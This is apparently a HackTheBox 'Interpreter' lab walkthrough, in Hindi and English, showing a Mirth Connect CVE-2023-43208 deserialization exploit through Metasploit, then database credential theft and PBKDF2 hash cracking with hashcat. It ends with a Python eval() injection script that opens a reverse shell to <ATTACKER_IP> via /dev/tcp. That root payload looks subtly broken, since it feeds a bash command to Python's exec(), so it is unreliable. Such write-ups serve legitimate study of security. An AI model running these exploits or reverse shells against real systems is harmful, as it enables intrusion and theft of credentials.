
HackTheBox Interpreter walkthrough: CVE-2023-43208 Mirth Connect deserialization RCE, PBKDF2 hash cracking, और root तक privilege escalation के लिए eval() injection।
प्लेटफ़ॉर्म: HackTheBox OS: Linux स्थिति: Retired — पूरा walkthrough प्रकाशित।
पूरा walkthrough: l3dsec.com/walkthroughs/interpreter-htb
Nmap → Mirth Connect 4.4.0 (80/443)
→ CVE-2023-43208 unauthenticated Java deserialization RCE
→ Shell as mirth
→ mirth.properties → MySQL credentials
→ MySQL → sedric PBKDF2 hash → hashcat → SSH → USER FLAG
→ notif.py running as root on 127.0.0.1:54321
→ eval() injection via XML POST → ROOT SHELL → ROOT FLAG
nmap -sV -sC <TARGET_IP> -Pn
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 (Debian)
80/tcp open http Jetty (Mirth Connect)
443/tcp open ssl Jetty SSL (Mirth Connect)
Mirth के REST API के माध्यम से version fingerprint:
curl -sk https://<TARGET_IP>/api/server/version -H "X-Requested-With: XMLHttpRequest"
# Returns: 4.4.0
Mirth Connect 4.4.0 Java deserialization के माध्यम से unauthenticated RCE के प्रति vulnerable है:
use exploit/multi/http/mirth_connect_cve_2023_43208
set RHOSTS <TARGET_IP>
set RPORT 443
set LHOST <ATTACKER_IP>
set FETCH_WRITABLE_DIR /tmp
set payload cmd/unix/reverse_bash
exploit
mirth के रूप में shell।
find / -name "mirth.properties" 2>/dev/null
# /usr/local/mirthconnect/conf/mirth.properties
# database.username = mirthdb
# database.password = <redacted>
# database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
mysql -u mirthdb -p'<db_password>' mc_bdd_prod
MySQL enumeration से उपयोगकर्ता sedric का PBKDF2 hash और एक HL7 channel का पता चलता है जो XML को http://127.0.0.1:54321/addPatient पर forward करता है।
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt
Hash crack हो गया। sedric के रूप में SSH करें, /home/sedric/user.txt पढ़ें।
notif.py root के रूप में चलता है और 127.0.0.1:54321/addPatient पर listen करता है — वही endpoint जिस पर Mirth XML forward करता है। यह firstname XML field को सीधे Python के eval() में pass करता है।
mirth shell से payload:
import urllib.request, base64
from urllib.request import Request
cmd = "bash -i >& /dev/tcp/<ATTACKER_IP>/9004 0>&1"
b64 = base64.b64encode(cmd.encode()).decode()
inj = f"{{exec(__import__('base64').b64decode('{b64}').decode())}}"
xml = f"<patient><firstname>{inj}</firstname><lastname>x</lastname></patient>"
req = Request(
"http://127.0.0.1:54321/addPatient",
data=xml.encode(),
headers={"Content-Type": "application/xml"}
)
urllib.request.urlopen(req)
Listener पर root shell प्राप्त हुआ।
| Flag | Value |
|---|---|
| User | redacted |
| Root | redacted |
केवल शैक्षिक उद्देश्यों के लिए। केवल उन्हीं सिस्टमों का परीक्षण करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।